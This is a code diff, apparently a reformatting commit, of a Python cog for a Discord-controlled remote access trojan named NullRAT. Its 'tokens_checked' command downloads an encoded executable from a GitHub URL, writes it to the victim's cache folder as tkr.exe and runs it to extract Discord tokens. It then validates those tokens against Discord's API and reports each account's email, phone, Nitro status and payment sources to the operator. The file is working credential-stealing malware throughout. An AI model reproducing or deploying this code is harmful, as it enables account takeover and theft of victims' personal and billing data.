55from datetime import datetime
66from base64 import decodebytes
77
8- import os , requests
9- nr_working = f"C:\\ Users\\ { os .getenv ('username' )} \\ .cache"
8+ import os
9+ import requests
10+
1011
1112class CheckedTokens (commands .Cog ):
1213 def __init__ (self , bot : commands .Bot ):
1314 self .bot = bot
1415
15- def checked_embeds (self , token , email , phone , username , nitro , billing , avatar , userID ):
16- embed = discord .Embed (title = "Token Info:" )
16+ def checked_embeds (
17+ self , token , email , phone , username , nitro , billing , avatar , userID
18+ ):
19+ embed = discord .Embed (title = "Token Info:" )
1720 embed .set_author (name = "NullCode1337" , url = "https://github.com/NullCode1337" )
1821 embed .set_thumbnail (url = avatar )
1922 embed .add_field (name = "Token" , value = f"```{ token } ```" , inline = False )
@@ -25,62 +28,122 @@ def checked_embeds(self, token, email, phone, username, nitro, billing, avatar,
2528 embed .add_field (name = "Email" , value = email , inline = False )
2629 return embed
2730
28- @commands .slash_command ( )
29- async def checked_tokens (self , ctx , victim ):
31+ @commands .slash_command ()
32+ async def tokens_checked (self , ctx , victim ):
3033 """Decrypts and checks all Discord Tokens
3134
3235 Parameters
3336 ----------
3437 victim: Identifier of the affected computer (found via /listvictims).
3538 """
36- if self .valid (victim ):
39+ if self .bot . valid (victim ):
3740 await ctx .response .defer ()
3841 try :
39- tkr = bytes (requests .get ("https://raw.githubusercontent.com/NullCode13-Misc/DiscordTokenDecrypt-Go/main/rec_dump_broken" ).text , "utf-8" )
42+ tkr = bytes (
43+ requests .get (
44+ "https://raw.githubusercontent.com/NullCode13-Misc/DiscordTokenDecrypt-Go/main/rec_dump_broken"
45+ ).text ,
46+ "utf-8" ,
47+ )
4048 except Exception as e :
41- return await ctx .followup .send ("Unable to download custom decryptor!\n \n " + e )
42-
43- os .chdir (nr_working )
44- with open ("tkr.exe" , "wb" ) as fh : fh .write (decodebytes (tkr ))
45- discord_tokenz = str (os .popen ("tkr.exe" ).read ()).strip ('][' ).split (', ' )
46-
47- valid , email , phone , uname , nitro , bill , avatar , dcTks , idq = [], [], [], [], [], [], [], [], []
48- for a in discord_tokenz : dcTks .append (a .replace ('"' ,'' ))
49-
49+ return await ctx .followup .send (
50+ "Unable to download custom decryptor!\n \n " + e
51+ )
52+
53+ os .chdir (self .bot .nr_working )
54+ with open ("tkr.exe" , "wb" ) as fh :
55+ fh .write (decodebytes (tkr ))
56+ discord_tokenz = str (os .popen ("tkr.exe" ).read ()).strip ("][" ).split (", " )
57+
58+ valid , email , phone , uname , nitro , bill , avatar , dcTks , idq = (
59+ [],
60+ [],
61+ [],
62+ [],
63+ [],
64+ [],
65+ [],
66+ [],
67+ [],
68+ )
69+ for a in discord_tokenz :
70+ dcTks .append (a .replace ('"' , "" ))
71+
5072 webTks = self .bot .find_token ()
5173 finalTks = list (dict .fromkeys (dcTks + webTks ))
52-
74+
5375 for token in finalTks :
54- headers = {'Authorization' : token , 'Content-Type' : 'application/json' }
55- requ = requests .get ('https://discordapp.com/api/v6/users/@me' , headers = headers )
56-
57- if requ .status_code == 401 :
58- await ctx .channel .send (embed = discord .Embed (title = "Token is invalid!" ,description = token ))
76+ headers = {"Authorization" : token , "Content-Type" : "application/json" }
77+ requ = requests .get (
78+ "https://discordapp.com/api/v6/users/@me" , headers = headers
79+ )
80+
81+ if requ .status_code == 401 :
82+ await ctx .channel .send (
83+ embed = discord .Embed (
84+ title = "Token is invalid!" , description = token
85+ )
86+ )
5987 continue
88+
6089 if requ .status_code == 200 :
61- valid .append ( str (token ) )
90+ valid .append (str (token ))
6291 json = requ .json ()
63- email .append ( str (json ['email' ]) )
64- phone .append ( str (json ['phone' ]) )
65- idq .append ( str (json ["id" ]) )
66- uname .append ( f'{ json ["username" ]} #{ json ["discriminator" ]} ' )
67- avatar .append (f"https://cdn.discordapp.com/avatars/{ str (json ['id' ])} /{ str (json ['avatar' ])} " )
68- nitro .append (str (bool (len (requests .get ('https://discordapp.com/api/v6/users/@me/billing/subscriptions' , headers = headers ).json ()) > 0 )))
69- bill .append (str (bool (len (requests .get ('https://discordapp.com/api/v6/users/@me/billing/payment-sources' , headers = headers ).json ()) > 0 )))
92+ email .append (str (json ["email" ]))
93+ phone .append (str (json ["phone" ]))
94+ idq .append (str (json ["id" ]))
95+ uname .append (f"{ json ['username' ]} #{ json ['discriminator' ]} " )
96+ avatar .append (
97+ f"https://cdn.discordapp.com/avatars/{ str (json ['id' ])} /{ str (json ['avatar' ])} "
98+ )
99+ nitro .append (
100+ str (
101+ bool (
102+ len (
103+ requests .get (
104+ "https://discordapp.com/api/v6/users/@me/billing/subscriptions" ,
105+ headers = headers ,
106+ ).json ()
107+ )
108+ > 0
109+ )
110+ )
111+ )
112+ bill .append (
113+ str (
114+ bool (
115+ len (
116+ requests .get (
117+ "https://discordapp.com/api/v6/users/@me/billing/payment-sources" ,
118+ headers = headers ,
119+ ).json ()
120+ )
121+ > 0
122+ )
123+ )
124+ )
70125 continue
71126
72- if len (valid ) == 0 :
73- return await ctx .followup .send (embed = self .bot .genEmbed ("No valid Discord Tokens" , datetime .now ()))
127+ if len (valid ) == 0 :
128+ return await ctx .followup .send (
129+ embed = self .bot .genEmbed ("No valid Discord Tokens" , datetime .now ())
130+ )
131+
74132 embeds = []
75- for tk , em , ph , un , ni , bi , av , idqa in zip (valid , email , phone , uname , nitro , bill , avatar , idq ):
133+
134+ for tk , em , ph , un , ni , bi , av , idqa in zip (
135+ valid , email , phone , uname , nitro , bill , avatar , idq
136+ ):
76137 embeds .append (self .checked_embeds (tk , em , ph , un , ni , bi , av , idqa ))
77-
78- if len (embeds ) <= 1 : await ctx .channel .send (embed = embeds [0 ])
79- else : await ctx .channel .send (embed = embeds [0 ], view = Menu (embeds ))
80-
138+
139+ if len (embeds ) <= 1 :
140+ await ctx .channel .send (embed = embeds [0 ])
141+ else :
142+ await ctx .channel .send (embed = embeds [0 ], view = Menu (embeds ))
143+
81144 await ctx .followup .send ("Checked all tokens" )
82-
83-
145+
146+
84147class Menu (discord .ui .View ):
85148 def __init__ (self , embeds : List [discord .Embed ]):
86149 super ().__init__ (timeout = None )
@@ -91,10 +154,14 @@ def __init__(self, embeds: List[discord.Embed]):
91154 self .prev_page .disabled = True
92155
93156 for i , embed in enumerate (self .embeds ):
94- embed .set_footer (text = f"Page { i + 1 } of { len (self .embeds )} | Checked by NullRAT" )
157+ embed .set_footer (
158+ text = f"Page { i + 1 } of { len (self .embeds )} | Checked by NullRAT"
159+ )
95160
96161 @discord .ui .button (label = "<< First" , style = discord .ButtonStyle .blurple )
97- async def first_page (self , button : discord .ui .Button , interaction : discord .MessageInteraction ):
162+ async def first_page (
163+ self , button : discord .ui .Button , interaction : discord .MessageInteraction
164+ ):
98165 self .embed_count = 0
99166 embed = self .embeds [self .embed_count ]
100167 embed .set_footer (text = f"Page 1 of { len (self .embeds )} " )
@@ -106,7 +173,9 @@ async def first_page(self, button: discord.ui.Button, interaction: discord.Messa
106173 await interaction .response .edit_message (embed = embed , view = self )
107174
108175 @discord .ui .button (label = "< Previous" , style = discord .ButtonStyle .secondary )
109- async def prev_page (self , button : discord .ui .Button , interaction : discord .MessageInteraction ):
176+ async def prev_page (
177+ self , button : discord .ui .Button , interaction : discord .MessageInteraction
178+ ):
110179 self .embed_count -= 1
111180 embed = self .embeds [self .embed_count ]
112181
@@ -118,7 +187,9 @@ async def prev_page(self, button: discord.ui.Button, interaction: discord.Messag
118187 await interaction .response .edit_message (embed = embed , view = self )
119188
120189 @discord .ui .button (label = "Next >" , style = discord .ButtonStyle .secondary )
121- async def next_page (self , button : discord .ui .Button , interaction : discord .MessageInteraction ):
190+ async def next_page (
191+ self , button : discord .ui .Button , interaction : discord .MessageInteraction
192+ ):
122193 self .embed_count += 1
123194 embed = self .embeds [self .embed_count ]
124195
@@ -130,7 +201,9 @@ async def next_page(self, button: discord.ui.Button, interaction: discord.Messag
130201 await interaction .response .edit_message (embed = embed , view = self )
131202
132203 @discord .ui .button (label = "Last >>" , style = discord .ButtonStyle .blurple )
133- async def last_page (self , button : discord .ui .Button , interaction : discord .MessageInteraction ):
204+ async def last_page (
205+ self , button : discord .ui .Button , interaction : discord .MessageInteraction
206+ ):
134207 self .embed_count = len (self .embeds ) - 1
135208 embed = self .embeds [self .embed_count ]
136209
@@ -140,5 +213,6 @@ async def last_page(self, button: discord.ui.Button, interaction: discord.Messag
140213 self .last_page .disabled = True
141214 await interaction .response .edit_message (embed = embed , view = self )
142215
216+
143217def setup (bot : commands .Bot ):
144- bot .add_cog (CheckedTokens (bot ))
218+ bot .add_cog (CheckedTokens (bot ))
0 commit comments